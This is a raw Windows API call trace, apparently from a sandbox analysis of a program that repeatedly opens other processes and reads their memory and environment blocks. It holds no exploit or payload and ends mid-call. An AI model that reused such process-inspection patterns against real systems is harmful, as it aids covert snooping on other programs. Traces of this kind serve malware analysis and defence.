0x0 [0167.725] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0167.725] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x334018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0167.725] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0167.726] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x461d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0167.726] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4618f8, lpBuffer=0x670ffc3f0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0167.727] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0167.729] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0167.729] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x334020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.729] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0167.730] malloc (_Size=0x8c) returned 0x196ef0d4f30 [0167.730] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x46197c, lpBuffer=0x196ef0d4f30, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0167.730] free (_Block=0x196ef0d4f30) [0167.731] CloseHandle (hObject=0x26c) returned 1 [0167.733] _ui64tow_s (in: _Value=0xd88, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3464") returned 0x0 [0167.738] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3464") returned 4 [0167.740] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.740] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.774] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd88) returned 0x26c [0167.775] GetLastError () returned 0x0 [0167.775] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0167.775] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3f1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0167.775] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0167.775] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f1cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0167.775] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f18f8, lpBuffer=0x670ffc3f0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0167.776] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0167.778] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0167.778] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3f1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.778] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0167.778] malloc (_Size=0x68) returned 0x196ef0d03e0 [0167.778] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f1958, lpBuffer=0x196ef0d03e0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0167.779] free (_Block=0x196ef0d03e0) [0167.779] CloseHandle (hObject=0x26c) returned 1 [0167.780] _ui64tow_s (in: _Value=0xd98, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3480") returned 0x0 [0167.784] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3480") returned 4 [0167.786] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.786] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.808] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd98) returned 0x26c [0167.808] GetLastError () returned 0x0 [0167.808] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0167.808] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2d1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0167.809] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0167.809] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xc1d30, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0167.809] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xc18f8, lpBuffer=0x670ffc3f0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0167.810] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0167.811] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0167.811] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2d1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.812] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xc12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0167.812] malloc (_Size=0x88) returned 0x196ef0d4f30 [0167.812] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xc1978, lpBuffer=0x196ef0d4f30, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0167.813] free (_Block=0x196ef0d4f30) [0167.814] CloseHandle (hObject=0x26c) returned 1 [0167.814] _ui64tow_s (in: _Value=0xda0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3488") returned 0x0 [0167.819] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3488") returned 4 [0167.821] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.821] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.842] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xda0) returned 0x26c [0167.842] GetLastError () returned 0x0 [0167.843] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0167.843] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3c4018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0167.843] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0167.843] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x561d70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0167.843] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5618f8, lpBuffer=0x670ffc3f0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0167.844] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0167.845] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0167.845] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3c4020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.846] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0167.846] malloc (_Size=0x9e) returned 0x196ef0d4f30 [0167.846] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x56198e, lpBuffer=0x196ef0d4f30, nSize=0x9c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0167.847] free (_Block=0x196ef0d4f30) [0167.847] CloseHandle (hObject=0x26c) returned 1 [0167.848] _ui64tow_s (in: _Value=0xdb0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3504") returned 0x0 [0167.852] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3504") returned 4 [0167.863] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.863] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.883] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb0) returned 0x26c [0167.883] GetLastError () returned 0x0 [0167.883] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0167.883] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x336018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0167.884] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0167.884] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f1cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0167.884] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f18f8, lpBuffer=0x670ffc3f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0167.885] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0167.887] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0167.887] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x336020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.887] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0167.887] malloc (_Size=0x64) returned 0x196ef0d0610 [0167.887] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f1954, lpBuffer=0x196ef0d0610, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0167.888] free (_Block=0x196ef0d0610) [0167.889] CloseHandle (hObject=0x26c) returned 1 [0167.889] _ui64tow_s (in: _Value=0xdb8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3512") returned 0x0 [0167.894] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3512") returned 4 [0167.896] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.896] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.928] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb8) returned 0x26c [0167.928] GetLastError () returned 0x0 [0167.928] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0167.928] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x363018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0167.929] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0167.929] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x581d30, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0167.929] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5818f8, lpBuffer=0x670ffc3f0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0167.930] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0167.932] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0167.932] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x363020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.932] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5812e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0167.933] malloc (_Size=0x8a) returned 0x196ef0d4f30 [0167.933] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x58197a, lpBuffer=0x196ef0d4f30, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0167.933] free (_Block=0x196ef0d4f30) [0167.934] CloseHandle (hObject=0x26c) returned 1 [0167.935] _ui64tow_s (in: _Value=0xdc8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3528") returned 0x0 [0167.940] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3528") returned 4 [0167.941] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.941] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.972] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdc8) returned 0x26c [0167.972] GetLastError () returned 0x0 [0167.972] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0167.972] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x255018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0167.973] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0167.973] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0167.973] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c18f8, lpBuffer=0x670ffc3f0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0167.974] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0167.977] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0167.977] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x255020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.977] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0167.977] malloc (_Size=0x76) returned 0x196ef0d2120 [0167.977] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0167.978] free (_Block=0x196ef0d2120) [0167.979] CloseHandle (hObject=0x26c) returned 1 [0167.980] _ui64tow_s (in: _Value=0xdd0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3536") returned 0x0 [0167.985] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3536") returned 4 [0167.987] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.987] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdd0) returned 0x26c [0168.019] GetLastError () returned 0x0 [0168.020] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.020] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3eb018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.020] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.020] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.020] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.022] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.023] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.023] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3eb020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.024] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.024] malloc (_Size=0x60) returned 0x196ef0d06f0 [0168.024] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1950, lpBuffer=0x196ef0d06f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.027] free (_Block=0x196ef0d06f0) [0168.028] CloseHandle (hObject=0x26c) returned 1 [0168.029] _ui64tow_s (in: _Value=0xde0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3552") returned 0x0 [0168.036] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3552") returned 4 [0168.038] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, 